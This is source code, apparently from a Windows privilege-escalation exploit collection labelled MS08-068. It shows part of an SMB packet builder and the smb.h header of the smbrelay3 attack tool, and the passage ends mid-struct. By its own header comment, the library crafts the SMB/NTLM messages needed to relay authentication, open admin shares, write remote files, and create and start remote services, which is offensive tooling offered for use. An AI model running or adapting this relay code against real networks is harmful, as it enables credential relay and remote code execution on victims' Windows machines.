NTCreateAndXMessage->AndXCommand=0xff; //0xff no further command
NTCreateAndXMessage->reserved2=0;
NTCreateAndXMessage->AndXOffset=0xdede;
NTCreateAndXMessage->FilenameLen=(uint16)(strlen((char*)data))*sizeof(WCHAR);
NTCreateAndXMessage->CreationFlags=0x16;
NTCreateAndXMessage->RootFID=0;
//We call readFileToSend with response+1 because filename is in the following format " \ + filename"
NTCreateAndXMessage->AllocationSize=DataSize;//ReadFileToSend(NULL,(char*)data+1);
NTCreateAndXMessage->AllocationSizeHigh=0;
NTCreateAndXMessage->Impersonation=0x02;
NTCreateAndXMessage->SecurityFlags=0x03;
if (DataSize==0){ //pipe
NTCreateAndXMessage->ShareAccess=0x03; //SHARE_READ & SHARE_WRITE
NTCreateAndXMessage->Disposition=0x01;
NTCreateAndXMessage->CreateOptions=0x00400040;
NTCreateAndXMessage->AccessMask=0x0002019f;
NTCreateAndXMessage->FileAttributes=0;
} else { //file
NTCreateAndXMessage->ShareAccess=0;
NTCreateAndXMessage->Disposition=0x05; //overwrite + create
NTCreateAndXMessage->CreateOptions=0x44;
NTCreateAndXMessage->AccessMask=0x30196;
NTCreateAndXMessage->FileAttributes=0x20;
}
NTCreateAndXMessage->ByteCount=NTCreateAndXMessage->FilenameLen+2+1; //Append wideNullChar and 1 extra byte
NTCreateAndXMessage->padding=0;
memcpy(NewSmbPacket->buffer,(char*)NTCreateAndXMessage,sizeof(NTCreateAndX));
memset((char*)lpFileNameW,'\0',sizeof(lpFileNameW));
// mbstowcs(lpFileNameW,(char*)data,strlen((char*)data) );
chartoWide((char*)lpFileNameW,(char*)data,(int)strlen((char*)data) );
#ifdef _DBG_
printf("Data: %S\n",lpFileNameW);
#endif
memcpy(NewSmbPacket->buffer+sizeof(NTCreateAndX),(char*)lpFileNameW,(strlen((char*)data)+1)*sizeof(WCHAR) );
free(NTCreateAndXMessage);
break;
case SMBCLOSE:
CloseMessage=(CLOSE *)malloc(sizeof(CLOSE));
memset((char*)CloseMessage,'\0',sizeof(CLOSE));
NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(CLOSE) -4 );
CloseMessage->ByteCount=0;
CloseMessage->WordCount=3;
CloseMessage->LastWrite=0xFFFFFFFF;
memcpy((char*)&CloseMessage->FID,(char*)data,2);
memcpy(NewSmbPacket->buffer,(char*)CloseMessage,sizeof(CLOSE));
free(CloseMessage);
break;
case READANDX:
ReadAndXMessage=(ReadAndX *)malloc(sizeof(ReadAndX));
memset((char*)ReadAndXMessage,'\0',sizeof(ReadAndX));
NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(ReadAndX) -4 );
NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
ReadAndXMessage->WordCount=12;
ReadAndXMessage->AndXCommand=0xff; //0xff no further command
ReadAndXMessage->reserved2=0x00;
ReadAndXMessage->AndXOffset=0xdede;
//ReadAndXMessage->FID este valor lo rellenamos fuera dado que aqui no tenemos la información necesaria. Es el identificador del ultimo fichero abierto.
/*
NTCreateAndXMessage = (NTCreateAndX*)SmbMessage->buffer;
memcpy(&ReadAndXMessage->FID,(char*)NTCreateAndXMessage+6,2);
*/
// printf("FID: %4.4x\n",ReadAndXMessage->FID);
ReadAndXMessage->offset=0x00000000;
ReadAndXMessage->MaxCountLow=1024;
ReadAndXMessage->MinCount=1024;
ReadAndXMessage->reserved=0xffffffff;
ReadAndXMessage->remaining=1024;
ReadAndXMessage->HighOffset=0;
ReadAndXMessage->ByteCount=0;
memcpy(NewSmbPacket->buffer,(char*)ReadAndXMessage,sizeof(ReadAndX));
free(ReadAndXMessage);
break;
case WRITEANDX:
WriteAndXMessage=(WriteAndX *)malloc(sizeof(WriteAndX));
memset((char*)WriteAndXMessage,'\0',sizeof(WriteAndX));
NTCreateAndXMessage = (NTCreateAndX*)PreviousSmbMessage->buffer;
NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
WriteAndXMessage->WordCount=14;
WriteAndXMessage->AndXCommand=0xff;
WriteAndXMessage->reserved2=0;
WriteAndXMessage->AndXOffset=0xdede;
memcpy(&WriteAndXMessage->FID,(char*)NTCreateAndXMessage+6,2);
WriteAndXMessage->Offset=0;
WriteAndXMessage->reserved=0xffffffff;
WriteAndXMessage->DataLengthHigh=0;
WriteAndXMessage->DataOffset=64;
WriteAndXMessage->HighOffset=0;
WriteAndXMessage->Padding=0xee;
switch (SubCommand)
{
case 0: //Default WriteAndX Operation
NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) +DataSize -4 );
WriteAndXMessage->WriteMode=0;
WriteAndXMessage->Remaining=0;
WriteAndXMessage->DataLengthLow=DataSize;
WriteAndXMessage->ByteCount=DataSize+1;
memcpy(NewSmbPacket->buffer,(char*)WriteAndXMessage,sizeof(WriteAndX));
memcpy(NewSmbPacket->buffer+sizeof(WriteAndX),(char*)data,DataSize);
free(WriteAndXMessage);
break;
case RPCBIND:
//i=116; //size of the ctx struct + dce
//Interface: SVCCTL UUID: 367abb81-9844-35f1-ad32-98f038001003
//Transfer Syntax: 8a885d04-1ceb-11c9-9fe8-08002b104860
//Transfer Syntax: 6cb71c2c-9812-4540-0100-000000000000
//ctx=AddBinddingInformation(ctx,"367abb81-9844-35f1-ad32-98f038001003","6cb71c2c-9812-4540-0100-000000000000",2,0,&i);
//DumpMem((char*)ctx,i);
//NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) + sizeof(DceRpcBind) + i -4);
NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(WriteAndX) + sizeof(DceRpcBind) + DataSize -4);
WriteAndXMessage->WriteMode=0x08;
WriteAndXMessage->Remaining=DataSize + sizeof(DceRpcBind);
WriteAndXMessage->DataLengthLow=DataSize + sizeof(DceRpcBind);
WriteAndXMessage->ByteCount=DataSize+ sizeof(DceRpcBind) +1;
memcpy(NewSmbPacket->buffer,(char*)WriteAndXMessage,sizeof(WriteAndX));
dcerpcbind=(DceRpcBind*)malloc(sizeof(DceRpcBind));
memset((char*)dcerpcbind,'\0',sizeof(DceRpcBind));
dcerpcbind->VersionMayor=5;
dcerpcbind->VersionMinor=0;
dcerpcbind->PacketType=SubCommand; //Bind
dcerpcbind->PacketFlags=0x03;
dcerpcbind->DataRepresentation=0x00000010;
dcerpcbind->FragmentLength=sizeof(DceRpcBind) + DataSize;
dcerpcbind->AuthLength=0;
dcerpcbind->CallID=1;
dcerpcbind->MaxXmitFragment=4280;
dcerpcbind->MaxRecvFragment=4280;
dcerpcbind->AssocGroup=0;
dcerpcbind->NumberOfCtx=DataSize / sizeof(CtxItem);
memcpy(NewSmbPacket->buffer +sizeof(WriteAndX) ,(char*)dcerpcbind,sizeof(DceRpcBind));
memcpy(NewSmbPacket->buffer +sizeof(WriteAndX) + sizeof(DceRpcBind),(char*)data,DataSize);
free(dcerpcbind);
free(WriteAndXMessage);
break;
default:
printf("Unsupported WriteAndX option\n");
return(NULL);
break;
}
break;
case SMB_COM_TRANSACTION:
TransRequest=(SMB_COM_TRANSACTION_STRUCT *)malloc(sizeof(SMB_COM_TRANSACTION_STRUCT));
memset((char*)TransRequest,'\0',sizeof(SMB_COM_TRANSACTION_STRUCT));
NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
TransRequest->WordCount=16;
TransRequest->TotalParameterCount=0 ;
TransRequest->MaxDataCount=1024;
TransRequest->MaxParameterCount=0;
TransRequest->MaxSetupCount=0;
TransRequest->reserved=0;
TransRequest->flags=0;
TransRequest->timeout=0x00000000;
TransRequest->reserved2=0;
TransRequest->ParameterCount=0;
TransRequest->ParameterOffset=84;
TransRequest->DataOffset=84;
TransRequest->SetupCount=2;
TransRequest->reserved3=0;
TransRequest->Function=0x26; //TRANSACT Named PIPE
TransRequest->padding=0;
memcpy((char*)TransRequest->TransactionName,"\x5c\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5c\x00\x00\x00",14);
TransRequest->padding2=0;
dcerpc=(DceRpcRequest*)malloc(sizeof(DceRpcRequest));
memset((char*)dcerpc,'\0',sizeof(DceRpcRequest));
dcerpc->VersionMayor=5;
dcerpc->VersionMinor=0;
dcerpc->PacketType=0;
dcerpc->PacketFlags=3;
dcerpc->DataRepresentation=0x00000010;
dcerpc->AuthLength=0;
dcerpc->CallID=1;
dcerpc->ContextID=0;
dcerpc->OpNum=SubCommand;
//--------
NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(SMB_COM_TRANSACTION_STRUCT) + sizeof(DceRpcRequest) + DataSize -4);
TransRequest->TotalDataCount=(uint16)sizeof(DceRpcRequest) + DataSize;//sizeof(MSCStruct) + (uint16) (strlen((char*)data)+1)*sizeof(WCHAR) + 2*((((int)strlen((char*)data)+1)%2) ==1) ;
TransRequest->DataCount=TransRequest->TotalDataCount;
TransRequest->ByteCount=TransRequest->TotalDataCount + 17;
dcerpc->FragmentLength=TransRequest->TotalDataCount;
//dcerpc->AllocHint=sizeof(DceRpcRequest) +DataSize; //Changed 10, Sept
dcerpc->AllocHint=DataSize;
memcpy(NewSmbPacket->buffer,(char*)TransRequest,sizeof(SMB_COM_TRANSACTION_STRUCT));
memcpy(NewSmbPacket->buffer+sizeof(SMB_COM_TRANSACTION_STRUCT),(char*)dcerpc,sizeof(DceRpcRequest));
memcpy(NewSmbPacket->buffer+sizeof(SMB_COM_TRANSACTION_STRUCT) +sizeof(DceRpcRequest),(char*)data,DataSize);
free(TransRequest);
free(dcerpc);
break;
case SESSIONSETUPANDX:
if (SubCommand==ERRORRESPONSE) {
NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + 3 -4 );
NewSmbPacket->NtStatus=0xc000006d;
NewSmbPacket->UserID=PreviousSmbMessage->UserID;
} else {
if (PreviousSmbMessage!=NULL) NewSmbPacket->UserID = UserID =PreviousSmbMessage->UserID; //Init UserID parameter
memset((char*)tail1,'\0',sizeof(tail1));
memset((char*)tail2,'\0',sizeof(tail2));
chartoWide((char*)tail1,"Windows 2000 2195",17);
chartoWide((char*)tail2,"Windows 2000 5.0",16);
if (SubCommand==CONTINUERESPONSE) {
SessionSetupAndXResponseMessage=(SessionSetupAndXResponse *)malloc(sizeof(SessionSetupAndXResponse));
memset((char*)SessionSetupAndXResponseMessage,'\0',sizeof(SessionSetupAndXResponse));
//SessionSetupAndXResponse *SessionSetupAndXResponseMessage;
//NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(SessionSetupAndXResponse) + sizeof(tail1) + sizeof(tail2) -4 );
NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(SessionSetupAndXResponse) + sizeof(tail1) + sizeof(tail2) -4 );
NewSmbPacket->NtStatus=0;
//DumpMem((char*)&PreviousSmbMessage->UserID,0x30);
//printf("El otro userID es: %i\n",PreviousSmbMessage->UserID);
//memcpy((char*)&NewSmbPacket->UserID,(char*)&PreviousSmbMessage->UserID,2);
NewSmbPacket->UserID=PreviousSmbMessage->UserID;
SessionSetupAndXResponseMessage->WordCount=4;
SessionSetupAndXResponseMessage->AndXCommand=0xff;
SessionSetupAndXResponseMessage->AndXOffset=SREV(NewSmbPacket->SmbMessageLength);
SessionSetupAndXResponseMessage->ByteCount=sizeof(tail1)+sizeof(tail2);
memcpy(NewSmbPacket->buffer,(char*)SessionSetupAndXResponseMessage,sizeof(SessionSetupAndXResponse));
memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndXResponse) +1,(char*)tail1,sizeof(tail1));
memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndXResponse) +1 + sizeof(tail1) ,(char*)tail2,sizeof(tail2));
//memcpy(NewSmbPacket->buffer,"\x00\x00\x00",3);
free(SessionSetupAndXResponseMessage);
} else {
SessionSetupAndXMessage=(SessionSetupAndX *)malloc(sizeof(SessionSetupAndX));
memset((char*)SessionSetupAndXMessage,'\0',sizeof(SessionSetupAndX));
NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(SessionSetupAndX) + DataSize + 1 + sizeof(tail1) + sizeof(tail2) +2 -4 );
//printf("packet len: %x\n",SREV(NewSmbPacket->SmbMessageLength));
//printf("LEN: %x\n",NewSmbPacket->SmbMessageLength);
SessionSetupAndXMessage->WordCount=12;
SessionSetupAndXMessage->AndXCommand=0xff;
SessionSetupAndXMessage->AndXOffset= SREV (NewSmbPacket->SmbMessageLength);//sizeof(smheader)-1024 +NtlmPacketLen + 1+ sizeof(tail1) + sizeof(tail2) +2 -4;
SessionSetupAndXMessage->MaxBuffer=4356;//16644;
SessionSetupAndXMessage->MaxMpxCount=10;
SessionSetupAndXMessage->SecurityBloblength=DataSize; //Longitud del paquete NTLM
SessionSetupAndXMessage->capabilities=0x800000d4; //0x200000D4;
SessionSetupAndXMessage->ByteCount=(uint16) DataSize + 1 + sizeof(tail1) +sizeof(tail2) +2 ; //incluimos 2 nulls al final y un byte antes de los wchars
memcpy(NewSmbPacket->buffer,(char*)SessionSetupAndXMessage,sizeof(SessionSetupAndX));
memcpy(NewSmbPacket->buffer+sizeof(SessionSetupAndX),(char*)data,DataSize);
memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndX) + DataSize +1,(char*)tail1,sizeof(tail1));
memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndX) + DataSize +1 + sizeof(tail1) ,(char*)tail2,sizeof(tail2));
free(SessionSetupAndXMessage);
}
//free(SessionSetupAndXResponseMessage);
}
break;
case TREECONNETANDX:
if (SubCommand== STATUS_BAD_NETWORK_NAME ){
NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(TreeConnectAndXResponse) -4 );
NewSmbPacket->NtStatus=STATUS_BAD_NETWORK_NAME;
memset(NewSmbPacket->buffer,'\0',3);
} else {
NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + DataSize -4);
memcpy(NewSmbPacket->buffer,data,DataSize);
}
break;
case SMB_COM_CREATE_DIRECTORY:
case SMB_COM_DELETE_DIRECTORY:
case SMB_COM_OPEN:
case SMB_COM_CREATE:
// case SMB_COM_CLOSE:
case SMB_COM_FLUSH:
case SMB_COM_DELETE:
case SMB_COM_RENAME:
case SMB_COM_QUERY_INFORMATION:
case SMB_COM_SET_INFORMATION:
case SMB_COM_READ:
case SMB_COM_WRITE:
case SMB_COM_LOCK_BYTE_RANGE:
case SMB_COM_UNLOCK_BYTE_RANGE:
case SMB_COM_CREATE_TEMPORARY:
case SMB_COM_CREATE_NEW:
case SMB_COM_CHECK_DIRECTORY:
case SMB_COM_PROCESS_EXIT:
case SMB_COM_SEEK:
case SMB_COM_LOCK_AND_READ:
case SMB_COM_WRITE_AND_UNLOCK:
case SMB_COM_READ_RAW:
case SMB_COM_READ_MPX:
case SMB_COM_READ_MPX_SECONDARY:
case SMB_COM_WRITE_RAW:
case SMB_COM_WRITE_MPX:
case SMB_COM_WRITE_COMPLETE:
case SMB_COM_SET_INFORMATION2:
case SMB_COM_QUERY_INFORMATION2:
case SMB_COM_LOCKING_ANDX:
// case SMB_COM_TRANSACTION:
case SMB_COM_TRANSACTION_SECONDARY:
case SMB_COM_IOCTL:
case SMB_COM_IOCTL_SECONDARY:
case SMB_COM_COPY:
case SMB_COM_MOVE:
case SMB_COM_ECHO:
case SMB_COM_WRITE_AND_CLOSE:
case SMB_COM_OPEN_ANDX:
// case SMB_COM_READ_ANDX:
// case SMB_COM_WRITE_ANDX:
case SMB_COM_CLOSE_AND_TREE_DISC:
// case SMB_COM_TRANSACTION2:
case SMB_COM_TRANSACTION2_SECONDARY:
case SMB_COM_FIND_CLOSE2:
case SMB_COM_FIND_NOTIFY_CLOSE:
case SMB_COM_TREE_CONNECT:
case SMB_COM_TREE_DISCONNECT:
// case SMB_COM_NEGOTIATE:
// case SMB_COM_SESSION_SETUP_ANDX:
case SMB_COM_LOGOFF_ANDX:
// case SMB_COM_TREE_CONNECT_ANDX:
case SMB_COM_QUERY_INFORMATION_DISK:
case SMB_COM_SEARCH:
case SMB_COM_FIND:
case SMB_COM_FIND_UNIQUE:
case SMB_COM_NT_TRANSACT:
case SMB_COM_NT_TRANSACT_SECONDARY:
// case SMB_COM_NT_CREATE_ANDX:
case SMB_COM_NT_CANCEL:
case SMB_COM_OPEN_PRINT_FILE:
case SMB_COM_WRITE_PRINT_FILE:
case SMB_COM_CLOSE_PRINT_FILE:
case SMB_COM_GET_PRINT_QUEUE:
case SMB_COM_READ_BULK:
case SMB_COM_WRITE_BULK:
case SMB_COM_WRITE_BULK_DATA:
NewSmbPacket->SmbMessageLength=(uint16) SREV (sizeof(smheader)- sizeof(NewSmbPacket->buffer) + DataSize -4 );
NewSmbPacket->flags2=0x4803; //No Unicode
NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
memcpy((char*)NewSmbPacket->buffer,data,DataSize);
//printf("Unsupported SMB message\n");
//exit(1);
break;
default:
//printf("Unsupported SMB message\n");
free(NewSmbPacket);
return(NULL);
break;
}
return(NewSmbPacket);
}
/**************************************************************************************/
97-Windows提权/MS08-068/src/smb.h
+594
View File
@@ -0,0 +1,594 @@
/* $Id$
SMBRELAY - Small SMB Library packet generation.
Author: Andres Tarasco - (atarasco at gmail.com )
URL: http://www.tarasco.org
This is not a complete library, but its functional for sending special crafted messages needed to perform attacks with smbrelay3
Lots of improvements need to be done but at this time works for me.
Currently the following messages are supported:
a) SMB NTLM Authentication (NegotiateProtocolRequest and SessionSetupAndX)
b) Connecting To resources (like c$, ipc$, admin$, pipes, ...) (TreeConnectAndX )
c) Opening remote Files for Writting (by default) and reading (NtCreateAndX)
d) Writting remote files (WriteAndX)
e) Opening Remote Service Control Manager (Connecting, creating a service, open a service and starting a service)
Maybe more.. take a look to the code ;)
Data structures have been added by reversing Raw dumps with the help of ethereal disectors.
NOTE: Services manipulation and RPCBinds are hardcoded.
*/
#ifndef _SMB_H
#define _SMB_H
#define _CRT_SECURE_NO_DEPRECATE
#include "ntlm.h"
#define SREV(x) ((((x)&0xFF)<<8) | (((x)>>8)&0xFF))
//#define SREV htonl
#define SMBPACKETLEN(x) ((x->SmbMessageLength) +4 )
//#define GetDceRpcPacketFromBuffer(buf) (DceRpcBind*) (char*) (buf + SREV(((smheader*)buf)->SmbMessageLength) +4 - ( (OpenScManagerW*)((smheader*)buf)->buffer)->TotalDataCount)
#define GetDceRpcPacketFromBuffer(buf) ((DceRpcBind*)(char*) (buf + SREV(((smheader*)buf)->SmbMessageLength) +4 - ( (SMB_COM_TRANSACTION_STRUCT*)((smheader*)buf)->buffer)->TotalDataCount))
#define SMB_COM_CREATE_DIRECTORY 0x00
#define SMB_COM_DELETE_DIRECTORY 0x01
#define SMB_COM_OPEN 0x02
#define SMB_COM_CREATE 0x03
#define SMB_COM_CLOSE 0x04
#define SMB_COM_FLUSH 0x05
#define SMB_COM_DELETE 0x06
#define SMB_COM_RENAME 0x07
#define SMB_COM_QUERY_INFORMATION 0x08
#define SMB_COM_SET_INFORMATION 0x09
#define SMB_COM_READ 0x0A
#define SMB_COM_WRITE 0x0B
#define SMB_COM_LOCK_BYTE_RANGE 0x0C
#define SMB_COM_UNLOCK_BYTE_RANGE 0x0D
#define SMB_COM_CREATE_TEMPORARY 0x0E
#define SMB_COM_CREATE_NEW 0x0F
#define SMB_COM_CHECK_DIRECTORY 0x10
#define SMB_COM_PROCESS_EXIT 0x11
#define SMB_COM_SEEK 0x12
#define SMB_COM_LOCK_AND_READ 0x13
#define SMB_COM_WRITE_AND_UNLOCK 0x14
#define SMB_COM_READ_RAW 0x1A
#define SMB_COM_READ_MPX 0x1B
#define SMB_COM_READ_MPX_SECONDARY 0x1C
#define SMB_COM_WRITE_RAW 0x1D
#define SMB_COM_WRITE_MPX 0x1E
#define SMB_COM_WRITE_COMPLETE 0x20
#define SMB_COM_SET_INFORMATION2 0x22
#define SMB_COM_QUERY_INFORMATION2 0x23
#define SMB_COM_LOCKING_ANDX 0x24
#define SMB_COM_TRANSACTION 0x25
#define SMB_COM_TRANSACTION_SECONDARY 0x26
#define SMB_COM_IOCTL 0x27
#define SMB_COM_IOCTL_SECONDARY 0x28
#define SMB_COM_COPY 0x29
#define SMB_COM_MOVE 0x2A
#define SMB_COM_ECHO 0x2B
#define SMB_COM_WRITE_AND_CLOSE 0x2C
#define SMB_COM_OPEN_ANDX 0x2D
#define SMB_COM_READ_ANDX 0x2E
#define SMB_COM_WRITE_ANDX 0x2F
#define SMB_COM_CLOSE_AND_TREE_DISC 0x31
#define SMB_COM_TRANSACTION2 0x32
#define SMB_COM_TRANSACTION2_SECONDARY 0x33
#define SMB_COM_FIND_CLOSE2 0x34
#define SMB_COM_FIND_NOTIFY_CLOSE 0x35
#define SMB_COM_TREE_CONNECT 0x70
#define SMB_COM_TREE_DISCONNECT 0x71
#define SMB_COM_NEGOTIATE 0x72
#define SMB_COM_SESSION_SETUP_ANDX 0x73
#define SMB_COM_LOGOFF_ANDX 0x74
#define SMB_COM_TREE_CONNECT_ANDX 0x75
#define SMB_COM_QUERY_INFORMATION_DISK 0x80
#define SMB_COM_SEARCH 0x81
#define SMB_COM_FIND 0x82
#define SMB_COM_FIND_UNIQUE 0x83
#define SMB_COM_NT_TRANSACT 0xA0
#define SMB_COM_NT_TRANSACT_SECONDARY 0xA1
#define SMB_COM_NT_CREATE_ANDX 0xA2
#define SMB_COM_NT_CANCEL 0xA4
#define SMB_COM_OPEN_PRINT_FILE 0xC0
#define SMB_COM_WRITE_PRINT_FILE 0xC1
#define SMB_COM_CLOSE_PRINT_FILE 0xC2
#define SMB_COM_GET_PRINT_QUEUE 0xC3
#define SMB_COM_READ_BULK 0xD8
#define SMB_COM_WRITE_BULK 0xD9
#define SMB_COM_WRITE_BULK_DATA 0xDA
//--------------------
#define SMBCLOSE 0x04
//#define SERVICEOPERATION 0x25
#define READANDX 0x2e
#define WRITEANDX 0x2f
#define FINDFIRST2 0x32
#define NEGOTIATEPROTOCOLREQUEST 0x72
#define SESSIONSETUPANDX 0x73
#define SESSIONLOGOFF 0x74
#define TREECONNETANDX 0x75
#define NTCREATEANDX 0xa2
//SERVICEOPERATION WideChar subcommands
#define STOPSERVICE 1
#define CHANGESERVICECONFIG 11
#define CREATESERVICE 12
#define OPENSCMANAGER 15
#define OPENSERVICEW 16
#define STARTSERVICE 19
#define OPENSERVICEA 28
//SESSIONSETUPANDX Subcommands
#define CONTINUERESPONSE 1
#define ERRORRESPONSE 2
//WRITEANDX subcommands
#define RPCBIND 0x0b
#define RPC_RESPONSE (uint8)0x02
#define STATUS_SHARING_VIOLATION 0xc0000043
#define STATUS_BAD_NETWORK_NAME 0xcc
#ifndef WCHAR
#ifdef WIN32
typedef wchar_t WCHAR;
#else
typedef unsigned short WCHAR;
#endif
#endif
/*
typedef struct {
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
byte Data4[8];
} guid;
*/
typedef struct {
uint16 SmbMessageType; //0x00
uint16 SmbMessageLength;
uint8 ProtocolHeader[4]; //"\xffSMB"
uint8 SmbCommand;
uint32 NtStatus; //0x00000000
uint8 flags; //0x18 - pathnames not case sensitive & pathnames canonicalized
uint16 flags2; //0xC001 (Unicode & Nt error types & longfilename support
uint16 ProcessIDHigh; //0x00
uint8 signature[8]; //0x00000000000
uint16 reserved; //0x0000
uint16 TreeId;
uint16 ProccessID; //0xfeff
uint16 UserID;
uint16 multipleID; //Incremental 64bytes en cada request.
char buffer[16384]; // Custom SmbCommand data
} smheader;
typedef struct {
uint8 VersionMayor;
uint8 VersionMinor;
uint8 PacketType;
uint8 PacketFlags;
uint32 DataRepresentation;
uint16 FragmentLength;
uint16 AuthLength;
uint32 CallID;
uint32 AllocHint;
uint16 ContextID;
uint16 OpNum;
} DceRpcRequest;
typedef struct {
uint32 ReferentID;
uint32 MaxCount;
uint32 Offset;
uint32 ActualCount;
//uint16 padding;
uint16 lpFileNameW[256];
uint32 Database;
uint32 AccessMask;
} MSCStruct; //Used when Calling OpenSCManagerW() againt SMB
typedef struct {
uint8 uuid[16];
uint16 MayorVersion;
uint16 MinorVersion;
} DceInterface;
typedef struct {
uint16 ContextID;
uint8 NumberOfTransItems;
uint8 padding;
DceInterface AbstractSyntaxis;
DceInterface TransferSyntaxis;
} CtxItem;
typedef struct {
uint8 VersionMayor;
uint8 VersionMinor;
uint8 PacketType;
uint8 PacketFlags;
uint32 DataRepresentation;
uint16 FragmentLength;
uint16 AuthLength;
uint32 CallID;
uint16 MaxXmitFragment;
uint16 MaxRecvFragment;
uint32 AssocGroup;
uint8 NumberOfCtx;
uint8 padding[3];
} DceRpcBind;
typedef struct {
uint8 WordCount;
uint16 TotalParameterCount;
uint16 TotalDataCount;
uint16 MaxParameterCount;
uint16 MaxDataCount;
uint8 MaxSetupCount;
uint8 reserved;
uint16 flags;
uint32 timeout; //0x00000000
uint16 reserved2;
uint16 ParameterCount;
uint16 ParameterOffset;
uint16 DataCount;
uint16 DataOffset;
uint8 SetupCount;
uint8 reserved3;
uint16 Function; //0x0026 for openscManager - Find_First2
uint16 FID;
uint16 ByteCount;
uint8 padding;
uint8 TransactionName[14];
uint16 padding2;
//DCERPC struct
//Microosft ServiceControl
} SMB_COM_TRANSACTION_STRUCT;//OpenScManagerW;
typedef struct {
uint8 ContextHandle[20];
uint32 ServiceType;
uint32 StartType; //0x02
uint32 unknown1; //0xFFFFFFFF
uint16 unknown2; //0x00
uint16 unknown3; //0x02
uint32 MaxLenLow;
uint32 MaxLenHigh;
uint32 Lenght;
uint8 buffer[1024];
uint8 blank[32];
/*
// uint16 unknown6; //0x0310;
uint32 unknown7; //0x00000000
uint32 unknown8; //0x00000000
uint16 unknown9; //0x04
uint16 unknown10; //0x02
uint32 unknown11; //0x02
uint32 unknown12; //0x00000000
uint32 unknown13; //0x02
uint32 unknown14; //0x00000000
//uint8 blank[12];
uint32 unknown15;
*/
/*
0000031B 00 00 00 00 f2 b7 95 63 63 eb f1 49 8d 4d 70 22 .......c c..I.Mp"
0000032B 67 87 b1 b5
10 00 00 00 02 00 00 00 ff ff ff ff g....... ........
0000033B 00 00 02 00
09 00 00 00 00 00 00 00 09 00 00 00 ........ ........
0000034B 73 00 6d 00 72 00 73 00 2e 00 65 00 78 00 65 00 s.m.r.s. ..e.x.e.
0000035B 00 00
10 03 00 00 00 00 00 00 00 00 04 00 02 00 ........ ........
0000036B 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ........ ........
0000037B 00 00 00 00 00 00 00 00 00 00 00 00 ........ ....
*/
} ChangeServiceConfigWStruct;
typedef struct {
uint8 WordCount; //0x14
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 FID;
uint32 Offset;
uint32 reserved;
uint16 WriteMode;
uint16 Remaining;
uint16 DataLengthHigh;
uint16 DataLengthLow;
// uint16 DataLengthRow;
uint16 DataOffset;
uint32 HighOffset;
uint16 ByteCount;
uint8 Padding;
} WriteAndX;
typedef struct {
uint8 WordCount; //0x14
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 FID;
uint32 offset;
uint16 MaxCountLow;
uint16 MinCount;
uint32 reserved; //0xffffffff
uint16 remaining;
uint32 HighOffset;
uint16 ByteCount;
} ReadAndX;
typedef struct {
uint8 WordCount; //Number of parameters in this struct
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 MaxBuffer;
uint16 MaxMpxCount;
uint16 VcNumber; //0x0000
uint32 SessionKey; //0x00000000
uint16 SecurityBloblength;
uint32 reserved3; //0x00000000
uint32 capabilities; //0x200000D4
uint16 ByteCount;
} SessionSetupAndX;
typedef struct {
uint8 WordCount; //Number of parameters in this struct
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 Action;
uint16 SecurityBloblength;
uint16 ByteCount;
// uint8 padding;
} SessionSetupAndXResponse;
/*
typedef struct {
uint8 BufferFormat;
char Name[256];
} DIALECT;
*/
typedef struct {
uint8 BufferFormat;
char *Name;
} DIALECT;
typedef struct {
uint8 WordCount;
uint16 ByteCount;
// DIALECT *Dialects;
char *Dialects;
} NegotiateProtocolRequest;
typedef struct {
uint8 WordCount; //Number of parameters in this struct
uint16 DialecIndex;
uint8 SecurityMode;
uint16 MaxMxpCount;
uint16 MaxVcs;
uint32 MaxBufferSize;
uint32 MaxRawBuffer;
uint32 SessionKey;
uint32 Capabilities;
//uint64 ServerTime;
uint8 ServerTime[8];
uint16 ServerTimeZone;
uint8 KeyLength;
uint16 ByteCount;
uint8 ServerGuid[16];
} NegotiateProtocolResponse;
typedef struct {
uint8 WordCount;
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 flags;
uint16 PasswordLen; //Set to 0x01
uint16 ByteCount;
uint8 Password; //Set to 0x00
//resource
//service ????\0
} TreeConnectAndX;
typedef struct {
uint8 WordCount;
uint16 ByteCount;
} TreeConnectAndXResponse;
typedef struct {
uint8 WordCount;
uint16 TotalParameterCount;
uint16 TotalDataCount;
uint16 MaxParameterCount;
uint16 MaxDataCount;
uint8 MaxSetupCount;
uint8 reserved;
